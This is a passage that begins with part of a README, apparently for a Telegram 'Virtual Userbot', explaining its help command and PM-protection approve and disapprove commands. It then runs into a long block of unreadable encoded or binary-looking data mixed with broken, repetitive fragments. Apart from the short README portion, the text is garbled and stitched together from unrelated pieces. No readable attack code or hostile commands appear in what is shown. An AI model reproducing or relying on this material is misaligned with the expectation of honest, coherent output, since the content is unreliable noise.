done any mistakes they will shown there. ## 3) Goto telegram and check your Superpowers Goto telegram and send .help to see the help of your Userbot +# +## What is the message sending to users who message to you + +Virtual Userbot has a PM Protection service ( It was just copied from Friday Project) + +Send .a to approove users to PM you +and, .da to disapproove + +If you Dont like this send .set var +

    sDMz7$^SDZV4x`K*fov0l~+M89O^^Om^v{t zqK(rvqoNG+rLY5Lj8g1aq5g(rkjMeqvgchi@0`0EHmtzE4eAHiuGOvP8(FYav38N; z7Vq1qRI|e?{&Ds@|77l*FmX?$@pQR;ShH91S<;IHEX!1uEtjO~AYZMF``QV%Nsw<; zggQ;`R2tLBt=ViuR)V!a;V?-wi=EBlhWc-bxy=p8TO`hDEJ=J14+}0wr+}CtD}3^M zo&#iSSO&Wx%1YhK3+sC5g`n>I!Cdgw6gE@?mdhlmqB3BJTh<_B)H9(Kx;iFoSK`CS zm=_`rqQ)167dW`a zpN*pOXLuFtzUJ$@p-^EN^yj1!@RZ))?Y2UhmeYqS`U z)I6zQtN5IMrtRA|t;N*+`=`45KJ`-K)5YlPFhm^a_(dHF`b$A8F->N?o%zHPnAszCS+bY*nM=lN(fG< zzuM79(H>kcP@upOA0PSoYnS&ejofG)=-qkQa`nSX%~}i@Y-CE?)gdHfumgIvu$+U> zS~O@15tA$-jvVx7g)QYA{uI9pRztF*vFXE~q)ZY0)HPanwDUr+WPt8sMIb%kcLWY2 zqK(2F*3=gr9)6=M&{TbO?0UV+s4e=|pjGeNdVq_{Mj0tj%{f>Oc zs3G5h@kJ49;rqV=YrFo~fk*gDGX5}Ll8ti)tqwBJyGy`wofXUdRS*rZ{i$wWz=I|6 z()+TUT_h}O-t9ztV`TXC7IS)Rza#uw5qJ8KcQM&%gZ3xFn0ee@_O~s%AO&bG4_nzdtZNvGb+%vo3)o z%+o4sbexVyuTvTV(&+JDs$EQsyQCQ zAOLtI<{0YzoYQKeGMD-ziAa}1+mF2RQ(o{aB%Kh8lYL}}3b|Awi|BrG$tC;ERgX@| zCbDgtHd<%w;2pJ|`m+8Q>z{-Snq&R^Hm}I&kkW+|6*yiHvzi9vMf`c3T_hncoHoVy z2T|AtG}~gdjWf=A^2xRBzqV@iVB33-A6?7(t#!-awqJSjIBn+Cc{fUxzA=Bw49lfi zljeV1w#>)#rp%I0zcoJmbbaP$vg)_>zmd_OWoCSCymzbqo~troaO6N4@cz!7?;H0A zM-DaaU)zncI!+nM$_l+Q_CBDjh2geQ(UNc~CxgGQ9KLT|U~HL!1?v^5)$rKX zpoWpfi&iSpzEcPHb}&on{ipMLFSF=FdOrCc?1YT z;)?~81qZE!NZGGC+uWy?al`m?Nt$zJ>eQXWuO{(f= zzUg4A_w3DpIt}nf9oV3SEFM#-MDvCR8a6LcDWJ7W_tt4U*7z_m^KwA6))Dq{6?-$BlcKhu1z2CvXkw%J=Z$*3c zW>!wtZ?%sAN-x-$(B3z~d+A3lS@grcs`lcPP1MLh+wJIhYM(;;iR7VEXu4#@vQKfh z;S3DY{y;p9erS_L#QPrKOftWD-}TKT^BeFOBT4lZWEQ()h{s+&a4aR-$@@G=;)F1j zW%!NNa=9^Ll`&NL#c=rQMV?5+xGe(jr3iZksa^N4Lik2)Ls{qpxrBtzb%k@pSAPyl))oVSGm796|qSFYWY?idJF@=H}I z0QU)u#%Z4<4+jddR}BqAF#)E{&NyCBM-W$b4?@@h3=2F35yv`HNCNa37x(PBaXN8E zYH-}Rx}*Dj`l*t1@uIqG`RHTs2A19IU$+0?(aUpE;h#cv0n4tYgU)c#6m(lfOJ%F; zxjy#UbG5g}^Ih)e5uzzQr|&Eca4#l08EMvEEe9~~D~)keEm03UcbkhgqKoJu`iKEy zh!`P8iz#A;n1j9Ri^X!WT14BbtXhEs5f;o#pFMN>)G?DrrVSf9Xkfp-y?S=*+O}iM z)`*f@AIBWTg$I@>h=|FkLw6V#(g!$<2Yop<&aua@Zv;11=U4@bgbf%W=9mftONr4Y z#FxTdA($}&y8DO0q=S&|@UHPMs#6eR(w@%C^S2*uj;9nB=a7u*Ak5>pT4Q?OzSE}l z?=wx7>pUPns(htkeNJsks#`xP$!1GdPb8F&iEpdu13I-H*!l5=5f?1w-x>C3h>W{n z`B}yf%lX1mH8w703XX~`X742Z?VX_>y`TL))um32+BLi6{62#JS%Zi1KczwUi4(gI z?>T;a&(B&mtK7(^&?^zi$@ZI{HEhwM;qV46TQE_Ocl3grlAd*$PBd2nh=eDuAi21^o~Xj)}+40CR{HC^2g?d51j${sAHWu_|Ph zF0HtFHm6=r1FcZW@=dz#UNLv4s=h62RgA9{8`-kf<;$0oF)v1cladpi6Rp1gdt9B8 z5i?s%TQg&Z9$T$$Tuk%Q2^~{A?Xfr0yccOC&s~hhny4y&KQa))osBx`e zzlOsaRu4gQG4s))^$(FxamvRxpQ)olNHgL8s?hty!~~YSLQ=6^M5K}37cT5kO33;N z$*<^B=Ox#WmivZ7KXF2zHCroLF1TFR_Q`c@);hrNc$Les7WfMg{`{EZdX~e2S^(Ye z?A&=#k>xfT=_{^$1Y$RA0I}_Pt^yjzY2RxjbT^KC`JH;y%?&j~uG=WfDHnI{d`D5k zuU}ok1QC`4Mh=$~mK|-rwg{RcKhZ%pJ)$EBpJEI_ceTBt_PZ)?oRA-1v40}d&%q1d z_)}Z-bfnxN{~%rs(Y7nU=)0iJixLjM!X_Q&+=K%@P&Gt^L?py22#b7R`HKCzvZ`g< zHZ7ZN_&~ubm_Bm(@{xMIl$3fE-@$;C^!a9Op`4%xnEIS1$`x^}8SLFP@%9=QJ zv7D@*z9I{J^zcJj;L1sT{Dc$p{#uD_`EESCF1;^p(EAKMzTnTr$0JKUfo0K*5!umQHX1LZ*QGH! zIZMZC9WUB1!!IKeOb}CgIF~=Xz26h*@`3%n|RZzso<30;oex=2+~X*mqi-{2v4y<`{>0NxYAhT@@dDmF%^s zD_1>PUd8W1Tpp8NP>iEY(V}_ws{EtNo_}ZS#*w+k0X^Hm(#HI!Bh?B@&JDGWl9Nq{ zq*#vmhhN_Lho60_GTk-*fIMj^uT!2(o|}2d1n_*!1^ZzgOmCrIP&+9(JHeUl3fxZc zPvJJy39{h>Ef3i)9FUK756|UH`4CX!m|?hLp2caMjQii*GVV$LTi?il?5xF$wr*Rz zc&ohjiSdZU;$xZ5_~&D}X5YRwe`f64NA_mqGZFK~s<1&kpAV)m3XVL&+{KlT^SJpq zt*UYJONVjurW6+!r>8GklAgX$Q63rJ%D_i*-`_IGxb?Sk=<=0=M#^hfuNG?m?H z+R4(Qze!<#R~bw^@V9f~X)7*bC7H{~%jWJeg5|g?4Mwdi(T8#xuiSXxx8cN-DwbkK z!)eHKgXw{_QT>q1`?Faubv(EZel<3N5tok2O7E>|FX?UUa@xIj5fY?9oojGVM;aQ_ zplnf(Hj-}k1-dNdTSc1aR zsvo`j(apmTEb{ckUSraR_37KIxO}9n$}%pO2vgL{Zyx?=%Lct*n|_mq4w_se?inrq zZdy`WMVhokf)+QeMV;@-N2e7=h|H647f+}yS7KTH(kxGH5APe`SZ4%lm6#{=o_Lav zc>*h~;o^yjgXE0UAfGUnRd~&~WtIBQPGs{{XAmCjCx@3iXn`L9QOosXrYYr4(-sj= z2T>Y%Xi%;+7Wg(W9$kzW%YI*`*AdZ6x{1p(o%3lU4&)wBI?Dw81st3PWty0$o=rSd zCQgGgt;y5=kVb`WMw%&{*Q+wxUcr~PBO4rgBI*R=YU9HhZugT~u3 z8tXkQ6K=oK#dy=7_0vTB(&eka=58moj8+n30^q=Vq09C#_#uDC2T;5bdVcdcaJO}| z6rD`motQ|ZS&K9SEN{5dAoc=9L+1R++rc>_zV4cy5#%K5*?^(yfM&bI7>w&&Q zKY`%?9;JMihIww{Zadn8<8B`iN@+L2c1D2fX;Bq9K0GZ-(i`fG^8`w_gEexi9;ECVuXCA=vfOEW?7Xr4U?NT>XNB! z8i@H&hqSZ~dTiagu{U9U=dzi7BlXYddoh0=BUiy{#dNuSET8L#MWVQwN8b^DJ8>P6 z?gi~_JT$Mf4m;^V$cNv{)R9$84puSw!{2lLneS7^@%NH7xBGjlKi2J_a~#(n>cHL4 zm^j?}A9S8E^}mV5CCkv=)b35)oeGQ8bM4--4Z5MNTQ?z=k@47U6N-E6@LS zu2B^$Q^-R0l%fdsXk|Ahr-8sV<8a#tI#r9>mcFz4?4~c8-gL;Uy=l~zvSnXB$ANs& z*bHS4p}ABLc~l`^TA*@SK`5(daRuDx*2u2e^4hg;dv)*MDZkH^0($?R@Eh{t?e&l3 zEh9)S_os4Fxn zO-xf%#G?WIXZLN;JtC-VLU5hFEos(kXbHcG`3prwMz^oRxEyDUWW>A5Fz5Ax zY))ahFx8PV&AH@d^Q+w;;~_0{ZMImurefa+*3ULO-cv5C!=2w-@x2N&(zC#pAwk_` zfM?KomOx0}eGY%Y>GukdGkSAz+wbJBuYQOnEgMGvx2JC+gNpRQ5J#cXyDk zq`>?KCp_kduOyw&YFeNDL(H??Py~1>1*vy(mdJyXJ5LxsZuV)#^4Hai_cm=ZzEPBE z8S=0ByHmz**fd%{{Lk$VCf|GA*a7bmSNu5g0|9=Y62LFnvPb4$Ag4173HghozbP$d zO6s*Z zSe?=690u}7gS;aQv_`T=OFn3N%`+4$X}9N9W)&Z^b3Cyywt zOjctL8f}9sE6U?rH;un9XX{1Atva-B{9fx6s~)oW8-E(jjb(T4$ev1tZKwi#&+~BT+z9&Kt2BL&WhX@5 zUY=aF5KnzpW3bN#Z6U3-q}gL`)+K1!^lasPt33-X6MEAnU00FeHn zk(q65R_DVATR{C2N}AI1I1Remm(p`PmcAUHFb?)WlfAy$DC6F(uZ+7FcF&!+8^%g` z{>v}VD-OGyxNyNF#ld)}@0$rc`3O(0wSNS$uN9yN$a>d}DsLK9ugeN4t<=6xM@YOA$t$EZ`*rQsVo$NB-hQu5j!c~R2zNOIa9T{c1W$v>AaKcXvp z?&y(o=ZzYbE;F<5+`S;%pTB$eyqvUZHB1MS*Q_Q30MR7R1Ai_ZX^jh$=d%yV(dyUA z<{+lM17v3;()~vrS%`Gx$ef3Ab>D`a+xJO3rRd+BJa}pJ#z(4BXsuk`Bkh&8BSyB- zms~!+Ysk9IkDco%WP{oU{4ddw#Oc< zyZ8I;tzFPEC&qUhJZ0F>UCM@TZJYJ)-dJCFVBh9ev%^E?_u6u7?^eC}&><;3yR8PF z(Ka*~+o2x|l8*6trXSJ1gRo+!!YZw%oIjs!Kcgviufit1PR`D_e}95nKIf5qsu-%f zzCL9>{Rds;tiaIRx~gUU6^TJL)0&RYj9HTU=DQEhp7=-lZb_X`YEIt))6%pJr2|$L zFSc#+z-l!wzP|UyqYElyhWUy9lVg%H0d7Lw(7F1BTMGLaejI1(3sK{+cv4)(kHck{Z`3i z+a@**3SKrLEpy+T`;#{mDLfSs`2(UuiZ|=kCZT>y0R25k33a?bM zTv0Ff*D<>}F1$0A168fcc12TVd;V4)G<~IMyEhjuf2%{Y`bn>)&)B!Tv#nA0ZcXZS zESa28r)BHfam|!gwK|n5-K*~KNt1@x?OnQ5$65nMjx?&qCf2W3txg@eqHS7g8iZsZ>-=O`u{@VId`|k2;h@!EoWZ9OHvsQ1~ zG4Gfzx27~`(X4r5y~IL@X7SGKH+@S;W!ba|ONS2By`$nA*00|>7+MiLZVv${kG%4Z zGo0-R3p{W|-!o;(9;2I=+_B&2^-%YbC1ZdLT%Q^N3b(^$p+H{uuv_`dxHKWSwUB`|cn$W3aK=%g2 zCXE`VSE*4e>XjN(kUxzbFLRwi$N$@yko28$*?ve?X^5k76Ps>P^j(Y6*LE1SPLTs< zNWFG)WXvm=6!cm+ZB(n_1JYUFsUlOWqm0ti;5l0u9s+11CH$=LFQPU=_7*D-33w0? zp5W4S7%$4b?l?zdhT>3o(`hDSnsj{-NWKO^{87+%+&#yhXM3VGx?lms8?8!CjPM%o1_SF6k zEn1{@XxThfmYTb9>rs&VTjWnK%D%h_@T8Obo0&x>M?;60>{toi-|c<(*n(wsu_>9yY7}x?Q{M?b;3-*0%kSAxiJ0 zo?Tls@6`+SLu0aj=yyEEl)A!WO4ciCzth{Y?<}@2Rm-V=-ZkDbetGjvgk)O1ZXL=r z1LNWZ=(CrX3CwiI%=tGxs}-C+WXd|@$)!(>-`39_Is2arZ$4O`IbzbbZBx?LR+!m+ z$h?JvyHD4urR^$T;pn8xx4*kG>1c(B-Dz)q_+ifGu^Aa-C#+hf1`e1zbLg=7^SQn| zgSK+d#_TVsZ+IUF)HlZLdFxv#z4%bvwr;oX%6wP8ltqnizE9bg6xeWnkF>2Jn`Td5 zJ9+kr-MgDMyYt`{UjF>Zi2lQPST1mNxl&4z&JE}9IdgKuW*Txs?#SK{$o)F|CHUrl z&fXA`%f9f@m3#NDkdMXa@#9D1o@I2_7JaaN$9ox5I(8;QA#mbqP-;u%ZiQ-Nx4ReR zA};*q%TwRWPY3;&Q^|fKUuUn8c#PAB_%(lH9c&c9qX{{c9Ch<`W=zhPbklsK-Tag8 zbYa)SUgaw>MavP5wB2H=OTmP_ac# z5rwtsVg#=9xMt%TiK_{&wYcWt>Vc~-t}clCy+!d6y`bP45X*xv{2p)Fg56oLVBze)Bub<86?^oDNV^r+C^3S+TY-B3-hB_h zn@b|hGEl4l&SLs){4ONw<0_BmJ(Tid3F0P2;GSPi6?N2Y@Zp{=Qh;-ywoohqO+9e$ zNq1$dsE*%*={XD+o0KAsGg?Wplz!t(-X)xVA*ZL`J(X*CR#o&<4vQ%Ky#Nl;RrG?Q zGTm{N#MMs`Uh(J)#ljd;PVWIA!LcSfVqYUA!r_VaMe><~#BJxl6Z0)~GI?yA;)NT!DWR?pJVa*A7G0sNT$apt^f@ zEr*<$e=orO*+q4+Rji{rp|VrndG1tp#^+8(uk&pWs2 zGmd+fiD=_%K>KRsbwn&+{yF7>+5yR;tGq7yDGk2gtX>y;)eNyv9W16RmBePW>+MR6 zXn^PG$`jFB*(|V5lJlbw_UX7U#Jv;lFa+9bD+R@S*bTgeWKSsr{tk3Zvuts^MspY$f8g-icfeiAhx`DBbqWVHjDjezxBEN z#J>Xgj`|OLuSbY@!l|!;4j3TDfsXxrQ6IF)$wMb^UHoHRK>Ratn*6h){zi)xUV$RZ ztGCF)J|dytKtA5M28g59AhgSqh_6rjZ3vfbsoEOt!&fw9{c;YvsHNzQGMoKLckpot zXnMr_bm=wo9qEZZj>aZWT0q9Zc+w{LhJ@gBdm!C#-5KW{jaknl8k7kG}7H`Kjt%KvH zwX!&Cc_P+m*P%a~3LnfSKGc203H_E>W%*gG!m-F_tha$9OeCpapgu^>P}kg!7C~;& zHcZZR0f*9eo9M7G4h4RzKh;i*BMk+;pcpb=@KNBzx3ONPhC% zoitKABw3{P!ZLeS*wm(?9_VB~x$jod31#f5XF*r|fO~rpk6_}_kcU=UJ~7eywrB`h zspqAN-TGG4^FNT4vXGSnBGeLuG1UOEo^+O*XHGs4k7yj{>NB3dyZH5jyU_YNw!Pr_ zi^mer@!$2Gi~ldbBMN<#W5vtfv+kp@5RCyev^&rG$lXWBpxvK&>3diI_o6%DaXo*& zFLw5qu72~SchA1q9CJPEo9XXSjxY`T#l0$EX5zdnZ(>g3jk!r@Je!K&6svTr5aL5z z_y>LRx;{yqq)Xk2DC7k&rbd5^G4C#U3h`cwiiz02JQ-^O^R)r!_m+$H${S*ydKvn< zx7cFMa?Wiq=TZ8h|LKSEK|K2M?V^^tA8}&3iwWSnFOA9d3vtQcf%Cx%+*h+)uwgD|#iVp%VCVQfnI?$SOLb-k*J{)&&|lr}^3 zfgWCq^HetiUk3D01;q=`Mv2ne4pAK;f2&)Y&^{;dqnhaC6(>4l%-;oh&C|TG&!Z47 zZ|sxE2c307M1bBQidAgZ#zWUGhi=@1dt+RIxUS>xr!-c^??S?+^}xK~G;{~_g1T8O zx0J^7EBwtwukS<`(9^CmwiS;1ThOFO-MMp=LqXIm_gt z&GSw)BHwMeE)nl=Kb9vi%EN{CMR(%O9>-sN-9}pQL&X@8@n&XUG zz_D2khYoFsF_Ecjo8mqT*JAZ4`V!(R@Da@zOGHqeX!Aq@)eqO#cri}tDq5&NK#vzg zJ@n^#8HfD(tFy##wHfZdm;+A29B`6IQ&)=icsEe(gmL3>k?EQrYUTO6RMZP-7c+2m zCb=S6bpC@iBC4Q}UKBbwKb~2H#jy&|n_;M9HGVg6ya(9GK`Y^n88%^<#ITj)XFPAs zFvW2mzuWNdw*0o8;}blY!FXmeoW*c9!#NDo8E)lVwlU0NxSin+hC3PVW}JH%?q#@- z;eLj%bG}EIhNBFRF?@sJae~sHQp#bJqgsv1sKzm@&aeg`V)-y64tOKZ_i8}mfH!l% zn>pZ(J=zqTg*f0Xhy&it0dGMZ@MaEp3*vycAP#sl2fPJwz*`UpyajQK^*WF!~t)_>?fSW0dGMZ@D{`YZ$TXJ7Q_K>K^*YL>0AVf1Kxr- z;4O#)-pm1S=72YIz?(VXtr7>kRpLN?Q3E@i@{5|H2w-jaXXTeQ0dYQr<268UhQYuV zDiR!10joP60M>Bq2CV5g30T{)6)?r|Ct!Pi+X3{4!dLtjU}yf_MHImA)$mCQ6>At~ za?14#H!$4D@Cf5M%J3M&Hy9!cD!x5O*kn!05hVhJC=tQx3~K;}fzBTQYdG!#)`quS z7}8&Y$6f))kAMk?=NgXvFMk4dM~)GqkRt=omth%(p^p1_LUWi(Km>BfSEvP~QR4}}T9aX2!19o^UjQ33Y{Iaq<5xUM z;@>F@+cJb*8qYhR6y?F&p8z}a@7?@%55v6-_c7eh@Cd`B439BXiP)=|LG$ z4BudQoZ(5P>J-D%49_q;M-+ksC=u!o?fRhG=t$xhO-#XW;lmoIzg1^Cs9QdcDw}`?)Vlkl3@(PY785p)~cXp z2{vJv#IP0QzY269!4$NSD$s%SyDh&><=-6~pW#VI$2q{x{CghbT*+`1!_^GeFkH(p zgW+z*vxnhchWi-qXZSkfKf?JQWq6F?8w`&#JjrQJF+9x>mLgDcjwq2uDHqf%%B4mT z2h?c5s?d020KFN8!n>_1ICB;-l3@(PY77&MU+}!T<1%0kM{B^EjuC*h9ln66j*kI5 zI3@yibYuZ`=HD|I=S+sP7|v!mhhaLyd5nK0!&MAdGhD-PEyE0knVkE2h8q}eWO$Nu zKgIAg!!r!e5e+CiN(7k!osb!n5n2?bh887QonZ~YD3-}6mdPlV$tae|D3-}6mdPlV z$tae|D3-}6mdPlV$tae|XvP!Gc%m6kG~teAFjNlB$Gn3&ghO-&YVVKTvu45BY?q&>o817}bkKulXM;IPuc#Pp2 z439HBM|nZ!K_SWr%GG!(g<6wgUBGJKwum4Nf*Zj{2qd>zzJfqqdedYrg^q@2g4Sjlh|!_^Ge zFkH(pgW*;#%Ql8t47W4f!Eh(TU5>@TxtrOLerVpYVkGm+EL!1gU?ijy46z{Ywpu`HG@;3poO*jvY4veff78hN1soZC@Uk zRdKI4EZB)G%=RwBu>Ts)PpnOA}|$KFb~cIjnj!UiSu}L0rTlMKElxqw9bPb z{}V79*EbK;YL;?h1+kJ?MXV-nA!8Ghl$V9{!!vF;&I{$;wj>3;u+#u;yL0= z)N`KrGVv9S@EF{-9m(2JFBOXes<~ z5m(zljGB0k(|D`TjUOW4_eP|?3g5T@?8p4w#Njud!=90N){TdMG)CUo2aILjNz_;M zc$`=LfNmc3;2AX@XNul4(dq+?=bov=?h=++s@XQ>K zdx38IQQ|S;apDQ$3vBf%=1&vP5YH0N5nseJZM^joy>XuSGVv8+m-Y$H3iKn+3UJ|G zfS$rgK`-N8@Ea>0=LyaMoF^LN^f`d>qH)rV9|NZ#KM7BFeSjlzUQNPTp)r=|BS(7-jCUIm1)d*OJ7?i zVPruwe27-Vhp>Yu)jrl_jEhf!ZsIOtJ8?I04=@?;8ZQHbh?zG&Lq3bxr4i5MIErU- zjc%d`n1Wir1O^coqht#HP5_AV*pKoW-9!&?I?7)I1`#uH2bm5Qja?d13rA5)qnqdf z&Oi(=3>ZYzckmgwNAw5cTXVo^#OcJD#05k>vS#4C)n$$nj}ea(PiTaffXb;YD;LpC z)K7p9KfW3O z3n&Q-8r?(>a6T;j5~zD~KI(o3)V(<$<*^6lHR|4+55`~OH_LUuq_bbrd1p`OJv|+7 zLzURC<4Ec7j7A+tN=HBR1?o6bI!4?TppGM@TMyxCoQ`*p{=h}dXECqiNa^T1jXI8$ zjxnN9$C1)8Mzn>~#52UR#B;y_~LeFQ@aKo6dV~CR)@N zI`sNqyb&Q9nTZx@yqlN|Z)Bofe+25cs!X&?BWA3D`rRrM?b2lyFyF!a0b(cdAn_3K zFj2olWulE5^*dB1+Ne>#LuI0k+S+O28RA*uIgMx?%Aj>ni`Hq3(>l>QoyT)7a02&C z0WLy|DztxzcWXp>jT4AdfQxxPFXs8Y7_Ga4J^FlJ%>G)8cImu6s~1DFMtxQ3;u+#u;yI1ba}~ca9|?ah!Bt)3E@C@zH*pWJ3?up^P{+*6EFCj1!&~!H zKpitL!@KjdKpitL!y9x5P{+*67&9-!9q?`BbAE^jUS{byd6}i- zX!9Vah?4>jsIc^Tf&!J>4WybRY9jXF+VhU>{mL|(Moa;hz-+H$Hb zr`mF=EvMRYsx7D5a;hz-+H$Hbr`mF=EvMRYsx7D5a;hz-+H$Hbr`mF=EvMRYsx7D5 za;hz-+H$Hbr`igtt)SWps;!{f3aYK3+6tR5IZ!4&_f@&+Mwt{La zsJ4P?E2y@DYAdL=f@&+Mwt{LasJ4P?E2y@DYAdL=l4>idwvuWqskV}8E2$Q59yk*! zskV}8E2*}UYAdO>l4>idwvuWqskV}8E2*}UYAdO>l4>idwvuWqskV}8E2*}UYAdO> zl4`4{wu)-2sJ4n~tEje$YOAQWifXHmY(;if%3~hJ?~QkzONF&mSWAVqR9H)ewNzM3g|$>zONF&mSWAVq zR9H)ewNzM3g|$>zONF&mSVx6*R9HuabyQeKg>_U|M}>7%SVx6*R9HuabyQeKg>_U| zM}>7%SVx6*R9HuabyQeKg>_U|M}>7%SVx6*R9Hua^;B3-h4oZePlfeVSWkuZR9H`i z^;B3-h4oZePlfeVSWkuZR9H`i^;B3-h4oZePlfeVSWkuZR9H`i^;B3-h4oa}!1z3( zk2pUY@P^(GsOPX6a1ZGZ)N@Y_jL$bPKHtFjd;{b24LI{rlJWViw1cQE>};i-t+cb1 zcDB;aR@&K0J6maIEA4EhovpOfNIQ+R(?~mww9`mCjkME9JB_r{NIQ+R(?~mww6l$N zw$aWu+Sx`s+h}JS?QEl+ZM3tEcDB*ZHrm-nJ3D9x@n*DZ2kq>jogK8ZgLZb%&JNny zK|4EWX9w-ckRUQy6IWwCOmg()bkfju>32ao@H+0{6!P&{{(qGf6;{Kgf63J znVUF&(Zub}U|;F^izYlH?Zj`+YW8NbH@8$(A$tqiTgcu*_7<|YlD(Detz>T{dn?&n$=*u# zR}_OkBYPX! z+sNKV_BOJ&k-d%VZDemFdmGu?$lgZwHnO*oy^ZX3)VF1i2W{D)2Ji%yI@VD zj@a*lg-`H}ab3Qh<=a`lo#oqEzMbXUS-zd+ceDI%mfy|tyIFoW%kO6S-7LSG<@d1s z9+uz3@_Sf*56kai`8_PZhvhqPuYcL1^7SnB|59bl~ktaX63I$5iewK`d=leIcotCO`lS*w$^I$7%=YaL{* zgRFIswGOh@LDo9RS_fI{AZs0BtwXGJh_w!})*;q9#9D_~>kw-lVlAwcMC%T-)?wB< z%vy(8>o98_X05}lb(pn|qSiI*C~9fcQ6Q`gBkCy7QPjeI)Y7Pdh9oVAX#)(O@+!CEI+ z>jZ0^V679Zb%M1{u+|CIdI7brS}&j$5M?y#c+m?eqftk4PNB>dppMdtaGDlQ)52+5I86(uY2h?2oTi1-v~ZdhPSe5} zS~x=sXK3LJEu5i+GqiAq7S7PZ8Cp0)3ukEIEG?X+g|oD9mKM&^!dY54OABXd;Vdnj zrG>M!aE=zv(ZV@eI7bWTXyF_!oTG(vv~Z3V&e6g-TIga7p^GsD%q8Q!y9?JejXGA- z#TY^to_79-ypGj$;b}*sj@5MGX-DUEtftG-v6?Q%5V{yc=wb|^i!p>Q#t^y~L+HYj zk1nZW2wiyc(WqlJU3l`*sADxnHB5c42F%!2?i4+6wI2oUoiK+J;x5v>Jc9t4Pa5FqA3fS3mX zVjcvDc@QAxL4cSC0b(8mhnIs(DQ~k2lPA$5c42F z%!2?i4+6wI2%hi|O93MC14QHph<8#TB0oSxet>x22O{zVMC1pE)sjF&et?Kh01^2C zBJu-7J^ApuRyGN1!C1J5UXB+SoI3Ts#hRZy#lf76^K=@K&*NNV$~}Ut6qUv^$NtQ zS0Gls0I5h?3|*Fv0_9BRrrHt6qUv^@=Nk_JE5XaM1%U zdcZ{wxaa{FJ>a4TT=am89&phEE_%R454h+77d_yj2VC@kiym;%11@^NMGv^>0T(^s zq6b{`fQue*(E~1ez(o(Z=m8f!;Gzdy^ni;VaM1%UdcZ{wxaa{FJ>a4TT=am89&phE zZhF8?59oCrEx0o3bHGgxxak2mJ>aGX-1LB(9&pnGZhF8?54h<8y)s1G(dU3(8KP02 z1A1kMMtu&r=>a!A;HC%M^njZlaMJ^BdcaK&xak2mJ>aGX-1LB(9&pnGZhF8?54h<8 zH$9+Np@5MdaMJ^BdcaK&c<2ESJ>a1S^lFp0ac|J0K(98@s7HZ^9`Miu9(uq-4|wPS z4?W@X!MudcZ>uc<2ESJ>a1SJoJEv9`Miu9(uq-4|wPS4?Wa1SJoJEv9`I-n-2AfurV)s~zlX1By(Noei@c}? zs+p=x9ale6SNwwf()^12Uh{YQm-t@_NDNpT@KLYXy|Q~1^=jz#O0V~NI|CB~Hw3;P zG$CkX(7B*bf@cPA2yP3$7!n#18?q*3U&xg{QGIIqTn?QXS`zwP==*&~_RZ@1bl>xR zuY?7Kxx=cHVVvkl&!RK^cRZ27NU+d+?ps8_>kdI!>10PH#}$f+Tj<5e=z*&2svWFh>;`QBbJQ#YGmk0 z$H>@`$s-qz+;?C9`-a~acVFs#3-4Qg-?~u)MvWZh9yN2+qEV|xZ5UNIYR@R&{lo5$ zy+8T>h4(MNf9?HM_rErJ>gai+b4Hhpt{B}i`sx^KO#d;%#yH0$k4YPoHKt(9rZL;c zbc{JQ=8ZA$j`_`)zea>aERDDp=@&U5a%5y&_j65EBKJx9z4W9nksW1fq(VoPGHVq0R5#J(7NA@+lD zJDtOwan9+^Mb3QZMrVU_pYwU=>&{Eg%g!%dL9Rir2-jp+nro?RkL!9|Sezp+HZD1C zVcg2N^>KA^d*Xa?=i}atdoS)v-1YIH;~nE;$0v_pIDX~$_2X;Czv_0lH@V;UBzn$y z-txTf`4o>y{U;2c5I14^ghdmYCbUnuII;J{sS}q>Y@c{3epY-<{QL2rPO>HiO`18W zX43IVZ%w*BIcReK$-^hdO`bk^!Q|}8`I9$JuA1C1`PAf(CtsQT`Q)#rES$1r%JM1O zr|g{4G3EU!A5RULI$-L;sY|9VpZfOHcM=9A6eUz7v?Lr!croEZ!UqXg6Wfy_l9ndD zp6pDnOa2%?4pfw~KDBphSn8dr6{&TpSEnUUYnyg?df4>Y(~r(rHRHvZ_soo*Id$f| znK?7p&irteoK-Mu)2!{YKA3g&!9@?g^57c}zWd;Zv!~8}V@~fmgXTocnLMXx&iXm8 z&$%$?Qko-eRNC6K%X0_L9W^(4ZvNboxf|wI%&nW-G`D?j=iDoEKcD;6yy$sF^A63s zJU@E=hWW277`32d!6yr@r9Yki@xq{m84I%)KKIZ)56ylk`=R!S-pv@8F+C$KV_n9k zjCV6-W>98RW_#w37KJWKTvWE`!s0s@XDog-Yj)Potm9edAC7u>>cdALe*WPXAHMML zr6tiz%9dPOa(T&@kMw?I@*@|rhh(qGe#2Y0bkWlGr5`PeTUNL1i=2#{cXDUtzP&tc zdB*bWCxGbUe9k^ZLQ8(eY7C7U{S&Pf}LxI zt$B0JM{B-%EbXz*$38DwUv#wSaG6_*Gs}mhLuE>Oem=-dAD?AX;JB! z(!Z_^SlfT?thH5ZFFrox@#og1uFF`rYTep(W$S9zZC`isiGfcHdm`$IwNIRR;Dp$wdBEn8o86nIZ(g)HfAhx84V!mvKD7D#=8KyzZ~m&R zciDiltg?=>-;`Y~pI!b|MO;N^Wkltvs?@4itDV)IPy0Q+m?Z{ep z?eyA3wX143)YjGRseP{Y_1br9KdJqqu6Ny_x`?{?y4iJ0>eke4s@q=IS$C%H&AN~3 zzNqhAKd3&UesX%OheZ+&g+rL7-sz1Aoj2Q-dsbT`gy z%xcVUgbV+{e@{1VZ)|UTuJK~y7u)XHHhNp!w#04gwjJO0`SxMkqqa}pes%koJFFd1 zJJ#&ju%lteCrznM8BK3DuWfE@320f~a-`+8mTRpMt;wxfttG8>t#7q{*yh(Zu+7<4 z*Y?UY1D=V0X5lkyp4s`#b35hE(4B*Jj@~(X*N|PSc5T?zu@Kt&E22u3EAV=le}l)o{~LB_Pn>}@}4jD_TD>a@94b~_RiXy zv3J$p4SO5*?%VtP-q-eC+WYaoLHkDUi{CeE-;#Z6_Lc2x+Sj@7%)U4Gy|?emzU%wL z_7B_d+@HFC;r^xjOZHdoZ`*%l|BL%C?Ehf@r~9vW1a%DQi0Fv#nAMThQP8omqp_pC zh8n0#RNfh7ml94I@`bl}i|a|hl$@ZNz>4*az z1)VvaC7l(WEuBX?U+lcl`N6?K2Nxb(aZU3JM#RIkB)rt?8s-AKU?$cg`*)yGmfr3+H~~Nv7lp7#|n<^ zId<{b<>Ld7FFf9H{M8eoC+3}4um7{~*Mfe1Ed5o8NAT`1v1aBG{fC3rvwz6srj9p?DL+@j*V!U9K3RJ8uz z#2ywRO%c1UBd^%ub(9o&b8=UEiyn0pE;pP}HieB*%L-Q~tt`qbF3Iy2I8ZaUsHC{C zz?d)wtyK8Ez$$_NbI=eVc#0-39AU-Ra}9u+~}jzu&)qX`BpBrVsUoF;JQbMf6st@csuE3}pad$tpQ4~4xqTir7sMIWuUlHeWfrD9mj 